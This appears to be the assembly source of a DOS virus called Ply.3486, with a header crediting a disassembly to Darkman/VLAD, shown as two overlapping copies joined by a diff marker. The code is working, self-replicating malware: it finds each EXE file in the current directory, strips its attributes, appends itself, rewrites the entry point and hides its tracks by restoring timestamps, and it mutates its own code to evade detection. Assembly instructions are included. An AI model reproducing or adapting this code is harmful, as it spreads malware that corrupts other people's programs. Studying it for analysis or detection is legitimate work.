nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ah,4eh ; Find first matching file
nop
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
jmp virus_exit
open_file:
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,'ZM' ; EXE signature
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ah,4fh ; Find next matching file
nop
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,4301h ; Set file attributes
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,3d02h ; Open file (read/write)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+100h)
add dx,ax ; DX = stack pointer
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,5701h ; Set file's date and time
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,4301h ; Set file attributes
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov ax,bx ; AX = " " " " " "
nop
add ax,10h ; AX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],ax ; Add segment of beginning of code...
add ax,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,ax ; SS = stack segment
sti ; Set interrupt-enable flag
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
db 00h
file_specifi db '????????.EXE',00h ; File specification
db 00h,00h
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin

@ -0,0 +1,850 @@
comment *
Ply.3486
Disassembly by
Darkman/VLAD
Ply.3486 is a 3486 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3486 has anti-heuristic techniques and is polymorphic in
file using its internal polymorphic engine.
To compile Ply.3486 with Turbo Assembler v 4.0 type:
TASM /m PLY_3486.ASM
TLINK /t /x PLY_3486.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3486
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,poly_begin ; SI = offset of poly_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ax,(4e00h+2020h) ; Find first matching file
sub ax,2020h
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
mov bx,dx ; BX = offset of file_specifi
nop
mov al,'E'
nop
mov [bx+02h],al ; Correct the file specification
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
jmp virus_exit
open_file:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,('ZM'+2020h) ; EXE signature
sub ax,2020h
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ax,(4f00h+2020h) ; Find next matching file
sub ax,2020h
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,(3d02h+2020h) ; Open file (read/write)
sub ax,2020h
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
